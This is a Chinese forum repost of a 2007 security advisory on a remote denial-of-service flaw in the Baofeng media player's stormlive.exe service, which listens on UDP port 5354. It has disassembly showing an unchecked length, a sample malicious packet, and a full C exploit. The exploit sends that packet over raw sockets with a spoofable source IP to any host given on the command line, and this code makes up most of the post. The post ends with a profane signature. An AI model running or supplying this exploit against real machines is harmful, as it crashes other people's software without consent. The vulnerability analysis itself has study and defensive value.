发新话题
打印

[转载]暴风影音3.7.11.13 远程拒绝服务漏洞 暴风影音3.7.11.13 DOS Vul

[转载]暴风影音3.7.11.13 远程拒绝服务漏洞 暴风影音3.7.11.13 DOS Vul

原始出处:www.cisrg.cn

CISVul20071128
               
        暴风影音3.7.11.13 DOS Vul

|=----------------[ 暴风影音3.7.11.13 DOS Vulnerabilities ]-------=|
|=-----------------------------------------------------------------=|
|=---------------=[ TuTu<tutu@9.cn> ]=-----------------------------=|
|=-----------------------------------------------------------------=|
|=---------------=[ Copyright:www.cisrg.cn ]=----------------------=|

--] 介绍
暴风影音是一款播放软件,经过测试,暴风影音3.7.11.13存在一个远程DDOS漏洞。
官方网站:http://www.baofeng.com/

--] Author:TuTu

--] 漏洞分析
复制内容到剪贴板
代码:
/*++
暴风影音3 Build version : 3.7.11.13 
Test version : 3.7.11.13,自从带了一个自动升级服务stormlive.exe之后,
会在本地开启一个UDP端口5354,向端口发送恶意封包可造成stormlive崩溃

0041DEE0 /$ 8B4424 08   mov   eax, dword ptr [esp+8]
0041DEE4 |. 53      push  ebx
0041DEE5 |. 8BD9     mov   ebx, ecx
0041DEE7 |. 56      push  esi
0041DEE8 |. 33C9     xor   ecx, ecx
0041DEEA |. 57      push  edi
0041DEEB |. 8943 08    mov   dword ptr [ebx+8], eax
0041DEEE |. 6A 04     push  4                ; /size = 4
0041DEF0 |. C1E8 07    shr   eax, 7              ; |
0041DEF3 |. 40      inc   eax               ; |
0041DEF4 |. 894B 04    mov   dword ptr [ebx+4], ecx      ; |
0041DEF7 |. C1E0 07    shl   eax, 7              ; |
0041DEFA |. 50      push  eax               ; |nitems 
0041DEFB |. 884B 10    mov   byte ptr [ebx+10], cl      ; |
0041DEFE |. C703 C0524300 mov   dword ptr [ebx], 004352C0    ; |
0041DF04 |. 8943 0C    mov   dword ptr [ebx+C], eax      ; |
0041DF07 |. FF15 78154300 call  dword ptr [<&MSVCRT.calloc>]   ; \calloc
0041DF0D |. 8B4B 08    mov   ecx, dword ptr [ebx+8]
0041DF10 |. 8B7424 18   mov   esi, dword ptr [esp+18]
0041DF14 |. C1E1 02    shl   ecx, 2
0041DF17 |. 8943 04    mov   dword ptr [ebx+4], eax
0041DF1A |. 8BF8     mov   edi, eax
0041DF1C |. 8BC1     mov   eax, ecx
0041DF1E |. 83C4 08    add   esp, 8
0041DF21 |. C1E9 02    shr   ecx, 2
0041DF24 |. F3:A5     rep   movs dword ptr es:[edi], dword p> 溢出
0041DF26 |. 8BC8     mov   ecx, eax
0041DF28 |. 83E1 03    and   ecx, 3
0041DF2B |. F3:A4     rep   movs byte ptr es:[edi], byte ptr>
0041DF2D |. 8BCB     mov   ecx, ebx
0041DF2F |. E8 3C140000  call  0041F370
0041DF34 |. 5F      pop   edi
0041DF35 |. 8BC3     mov   eax, ebx
0041DF37 |. 5E      pop   esi
0041DF38 |. 5B      pop   ebx
0041DF39 \. C2 0800    retn  8

封包例子
00CAFF84 4B 55 44 50 01 00 55 55 55 00 55 55 55 00    KUDP .UUU.UUU.
由于没有对封包中取得的数据进行判断.数据超大导致申请内存失败,后面的内存数据复制导致异常.

--*/
--] exploit POC
复制内容到剪贴板
代码:
#ifndef WIN32_LEAN_AND_MEAN
#define WIN32_LEAN_AND_MEAN
#endif

#include <winsock2.h>
#include <ws2tcpip.h>
#include <stdio.h>

#pragma comment(lib, "ws2_32")

// Set the packing to a 1 byte boundary
#include <pshpack1.h>

//
// Define the IPv4 header. Make the version and length field one
// character since we can&#39;t declare two 4 bit fields without
// the compiler aligning them on at least a 1 byte boundary.
//
typedef struct ip_hdr
{
  unsigned char ip_verlen;    // 4-bit IPv4 version
                   // 4-bit header length (in 32-bit words)
  unsigned char ip_tos;      // IP type of service
  unsigned short ip_totallength;  // Total length
  unsigned short ip_id;      // Unique identifier
  unsigned short ip_offset;    // Fragment offset field
  unsigned char ip_ttl;      // Time to live
  unsigned char ip_protocol;   // Protocol(TCP,UDP etc)
  unsigned short ip_checksum;   // IP checksum
  unsigned int  ip_srcaddr;    // Source address
  unsigned int  ip_destaddr;   // Source address
} IPV4_HDR, *PIPV4_HDR, FAR * LPIPV4_HDR;

//
// Define the UDP header
//
typedef struct udp_hdr
{
  unsigned short src_portno;    // Source port no.
  unsigned short dst_portno;    // Dest. port no.
  unsigned short udp_length;    // Udp packet length
  unsigned short udp_checksum;   // Udp checksum (optional)
} UDP_HDR, *PUDP_HDR;

// Restore the byte boundary back to the previous value
#include <poppack.h>
//

// Function: checksum
//
// Description:
//  This function calculates the 16-bit one&#39;s complement sum
//  for the supplied buffer.
//
USHORT checksum(USHORT *buffer, int size)
{
  unsigned long cksum=0;

  while (size > 1)
  {
    cksum += *buffer++;
    size -= sizeof(USHORT);  
  }
  if (size)
  {
    cksum += *(UCHAR*)buffer;  
  }
  cksum = (cksum >> 16) + (cksum & 0xffff);
  cksum += (cksum >>16);

  return (USHORT)(~cksum);
}

//
// Function: InitIpv4Header
//
// Description:
//  Initialize the IPv4 header with the version, header length,
//  total length, ttl, protocol value, and source and destination
//  addresses.
//
int InitIpv4Header(
  char *buf,
  char *src,
  char *dest,
  int payloadlen
  )
{
  IPV4_HDR  *v4hdr=NULL;

  v4hdr = (IPV4_HDR *)buf;

  v4hdr->ip_verlen   = (4 << 4) | (sizeof(IPV4_HDR) / sizeof(unsigned long));
  v4hdr->ip_tos     = 0;
  v4hdr->ip_totallength = htons(sizeof(IPV4_HDR) + payloadlen);
  v4hdr->ip_id     = 0;
  v4hdr->ip_offset   = 0;
  v4hdr->ip_ttl     = 128;
  v4hdr->ip_protocol  = 0x11;
  v4hdr->ip_checksum  = 0;
  v4hdr->ip_srcaddr   = inet_addr(src);
  v4hdr->ip_destaddr  = inet_addr(dest);

  v4hdr->ip_checksum  = checksum((unsigned short *)v4hdr, sizeof(IPV4_HDR));
  
  return sizeof(IPV4_HDR);
}

//
// Function: ComputeUdpPseudoHeaderChecksumV4
//
// Description:
//  Compute the UDP pseudo header checksum. The UDP checksum is based
//  on the following fields:
//    o source IP address
//    o destination IP address
//    o 8-bit zero field
//    o 8-bit protocol field
//    o 16-bit UDP length
//    o 16-bit source port
//    o 16-bit destination port
//    o 16-bit UDP packet length
//    o 16-bit UDP checksum (zero)
//    o UDP payload (padded to the next 16-bit boundary)
//  This routine copies these fields to a temporary buffer and computes
//  the checksum from that.
//
void ComputeUdpPseudoHeaderChecksumV4(
  void  *iphdr,
  UDP_HDR *udphdr,
  char  *payload,
  int   payloadlen
  )
{
  IPV4_HDR   *v4hdr=NULL;
  unsigned long zero=0;
  char     buf[0x10000],
         *ptr=NULL;
  int      chksumlen=0,
         i;
  
  ptr = buf;

  v4hdr = (IPV4_HDR *)iphdr;

  // Include the source and destination IP addresses
  memcpy(ptr, &v4hdr->ip_srcaddr, sizeof(v4hdr->ip_srcaddr));
  ptr += sizeof(v4hdr->ip_srcaddr);
  chksumlen += sizeof(v4hdr->ip_srcaddr);

  memcpy(ptr, &v4hdr->ip_destaddr, sizeof(v4hdr->ip_destaddr));
  ptr += sizeof(v4hdr->ip_destaddr);
  chksumlen += sizeof(v4hdr->ip_destaddr);
  
  // Include the 8 bit zero field
  memcpy(ptr, &zero, 1);
  ptr++;
  chksumlen += 1;

  // Protocol
  memcpy(ptr, &v4hdr->ip_protocol, sizeof(v4hdr->ip_protocol));
  ptr += sizeof(v4hdr->ip_protocol);
  chksumlen += sizeof(v4hdr->ip_protocol);

  // UDP length
  memcpy(ptr, &udphdr->udp_length, sizeof(udphdr->udp_length));
  ptr += sizeof(udphdr->udp_length);
  chksumlen += sizeof(udphdr->udp_length);
  
  // UDP source port
  memcpy(ptr, &udphdr->src_portno, sizeof(udphdr->src_portno));
  ptr += sizeof(udphdr->src_portno);
  chksumlen += sizeof(udphdr->src_portno);

  // UDP destination port
  memcpy(ptr, &udphdr->dst_portno, sizeof(udphdr->dst_portno));
  ptr += sizeof(udphdr->dst_portno);
  chksumlen += sizeof(udphdr->dst_portno);

  // UDP length again
  memcpy(ptr, &udphdr->udp_length, sizeof(udphdr->udp_length));
  ptr += sizeof(udphdr->udp_length);
  chksumlen += sizeof(udphdr->udp_length);
  
  // 16-bit UDP checksum, zero
  memcpy(ptr, &zero, sizeof(unsigned short));
  ptr += sizeof(unsigned short);
  chksumlen += sizeof(unsigned short);

  // payload
  memcpy(ptr, payload, payloadlen);
  ptr += payloadlen;
  chksumlen += payloadlen;

  // pad to next 16-bit boundary
  for(i=0 ; i < payloadlen%2 ; i++, ptr++)
  {
    printf("pad one byte\n");
    *ptr = 0;
    ptr++;
    chksumlen++;
  }

  // Compute the checksum and put it in the UDP header
  udphdr->udp_checksum = checksum((USHORT *)buf, chksumlen);

  return;
}

//
// Function: InitUdpHeader
//
// Description:
//  Setup the UDP header which is fairly simple. Grab the ports and
//  stick in the total payload length.
//
int InitUdpHeader(
  char *buf,
  int srcprt,
  int dstprt,
  int    payloadlen
  )
{
  UDP_HDR *udphdr=NULL;

  udphdr = (UDP_HDR *)buf;
  udphdr->src_portno = htons(srcprt);
  udphdr->dst_portno = htons(dstprt);
  udphdr->udp_length = htons(sizeof(UDP_HDR) + payloadlen);

  return sizeof(UDP_HDR);
}


//
// Function: sendudp
//
// Description:
//  Send the udp packets with RAW SOCKET
//
int sendudp(char *srcip, char *dstip, int srcprt, int dstprt, char *buf, int bufsize)
{
  WSADATA      wsd;
  SOCKET       s;
  char sendbuf[0x10000]={0};
  int      iphdrlen,
         allsize,
         udphdrlen;
  int   optlevel,
        option,
        optval,
        rc;
  SOCKADDR_IN  ReceiverAddr;

  ReceiverAddr.sin_family = AF_INET;
  ReceiverAddr.sin_port = htons(dstprt);  
  ReceiverAddr.sin_addr.s_addr = inet_addr(dstip);
  
  allsize = sizeof(IPV4_HDR) + sizeof(UDP_HDR) + bufsize;
  if (WSAStartup(MAKEWORD(2,2), &wsd) != 0)
  {
    printf("WSAStartup() failed: %d\n", GetLastError());
    return -1;
  }

  s = socket(AF_INET, SOCK_RAW, IPPROTO_UDP);
  if (s == INVALID_SOCKET)
  {
    fprintf(stderr, "socket failed: %d\n", WSAGetLastError());
    return -1;
  }

  // Enable the IP header include option
  optval = 1;
  optlevel = IPPROTO_IP;
  option  = IP_HDRINCL;
  rc = setsockopt(s, optlevel, option, (char *)&optval, sizeof(optval));
  if (rc == SOCKET_ERROR)
  {
    fprintf(stderr, "setsockopt: IP_HDRINCL failed: %d\n", WSAGetLastError());
    return -1;
  }

  
  // Initialize the v4 header
  iphdrlen = InitIpv4Header(
      sendbuf,
      srcip,
      dstip,
      bufsize
      );

  // Initialize the UDP header
  udphdrlen = InitUdpHeader(
      &sendbuf[iphdrlen],
      srcprt,
      dstprt,
      bufsize
      );

  // Compute the UDP checksum
  ComputeUdpPseudoHeaderChecksumV4(
      sendbuf,
      (UDP_HDR *)&sendbuf[iphdrlen],
      buf,
      bufsize
      );

  // Copy the payload to the end of the header
  memcpy(&sendbuf[iphdrlen + udphdrlen], buf, bufsize);

  rc = sendto(
            s,
            sendbuf,
            allsize,
            0,
            (const struct sockaddr*)&ReceiverAddr,
            sizeof(ReceiverAddr)
            );
  if (rc == SOCKET_ERROR)
  {
    printf("sendto() failed: %d\n", WSAGetLastError());
  }
  else
  {
    printf("sent %d bytes\n", rc);
  }
  closesocket(s) ;
  WSACleanup() ;

  return 0;
}

int main(int argc, char **argv)
{
if (argc < 3) {
printf("%s <LOCAL ip> <Remote ip>\n", argv[0]);
return 0;
}

printf("\n 暴风影音3 stormlive.exe DDOS \n");
printf("www.CISRG.cn \n");
printf("E-mail: [email]tutu@9.cn[/email]\n");
printf("Copyright (c) 2007 .: Tutu :.\n");

sendudp(argv[1], argv[2], 5354, 5354, "KUDP\x01\x00\x55\x55\x55\x00\x55\x55\x55\x00", 14);
  getchar();
  return 0;
}
曾几何时,有人对我说:装B遭雷劈。我说:去你妈的。于是,这个人又对我说:如果再说脏话,上帝会惩罚你的。我说:我操上帝。结论:彪悍的人生不需要上帝。

TOP

发新话题